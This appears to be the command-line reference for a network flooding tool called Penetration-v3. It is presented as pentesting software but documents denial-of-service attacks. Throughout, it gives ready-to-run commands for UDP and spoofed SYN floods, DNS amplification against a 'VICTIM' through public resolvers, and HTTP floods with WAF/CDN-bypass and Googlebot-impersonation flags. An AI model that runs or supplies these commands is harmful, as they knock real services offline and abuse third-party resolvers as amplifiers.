CLI Reference
Penetration-v3 uses a key:value CLI syntax. Every interactive wizard run prints an equivalent CLI command at the end that can be copied and re-run directly.
Basic Syntax
bash
pentest-v3 key:value key:value ...bash
./pentest-v3 protocol:udp ip:10.0.0.5 port:80 pps:10000 workers:4 duration:60Core Arguments
| Key | Alias | Type | Default | Description |
|---|---|---|---|---|
protocol: | proto: | string | udp | Attack method (e.g. udp, tcp, dns, http) |
ip: | host:, target: | string | none | Target IP or domain |
port: | dstport: | int | 80 | Target port. 0 means random ports. |
pps: | rate: | int | 1000 | Target packets per second. 0 means unlimited. |
workers: | — | int | CPU cores | Number of goroutines sending traffic. |
duration: | time: | int | 0 | Run duration in seconds. 0 means run forever. |
size: | packetsize: | int | 64 | Payload size in bytes. |
pattern: | payload: | string | random | Payload pattern: random, zeros, ones, custom. |
Rate Control
| Key | Type | Default | Description |
|---|---|---|---|
ramp: | int | 0 | Start at X% of target PPS and ramp up. |
rampstep: | int | 10 | Ramp increment percentage. |
rampint: | int | 5 | Ramp interval in seconds. |
Spoofing
| Key | Type | Default | Description |
|---|---|---|---|
spoof: | bool | method-dependent | Enable IP spoofing for raw-socket methods. |
cidr: | string | none | Source CIDR, random, or rotate. |
Amplification
| Key | Type | Default | Description |
|---|---|---|---|
resolvers: | string | none | Comma-separated amplifier IPs. Required for amp methods. |
query: | string | example.com. | DNS query domain for protocol:dns. |
HTTP/L7 Bypass
| Key | Type | Default | Description |
|---|---|---|---|
tls: | bool | false | Use HTTPS. |
h2: | bool | false | Force HTTP/2 (requires TLS). |
method: | string | get | HTTP method: get, post, head. |
head: | bool | false | Use HEAD method. |
rhex: | bool | false | Random hex path for cache/WAF bypass. |
dyn: | bool | false | Random subdomain for CDN bypass. |
gbotua: | bool | false | Use Googlebot User-Agent. |
nullua: | bool | false | Empty User-Agent. |
cookie: | bool | false | Random Cookie header. |
Output
| Key | Type | Default | Description |
|---|---|---|---|
stats: | bool | true | Show live stats. |
metrics: | string | none | Write final stats to file. |
Examples
UDP flood
bash
./pentest-v3 protocol:udp ip:10.0.0.5 port:80 pps:50000 duration:30TCP SYN flood with spoofing
bash
sudo ./pentest-v3 protocol:tcp-spoof ip:10.0.0.5 port:80 pps:100000 cidr:10.0.0.0/24DNS amplification
bash
sudo ./pentest-v3 protocol:dns ip:VICTIM resolvers:8.8.8.8,1.1.1.1 query:example.com.HTTP GET with bypass flags
bash
./pentest-v3 protocol:http ip:target.com port:80 pps:5000 rhex:true dyn:true gbotua:trueHTTPS POST with HTTP/2
bash
./pentest-v3 protocol:http ip:target.com port:443 tls:true h2:true method:post pps:5000CLI Equivalent Output
After any interactive run, Penetration-v3 prints a box like:
text
CLI Equivalent
./pentest-v3 protocol:udp ip:10.0.0.5 port:80 pps:10000 workers:4 duration:60Copy and re-run this command to skip the wizard entirely.
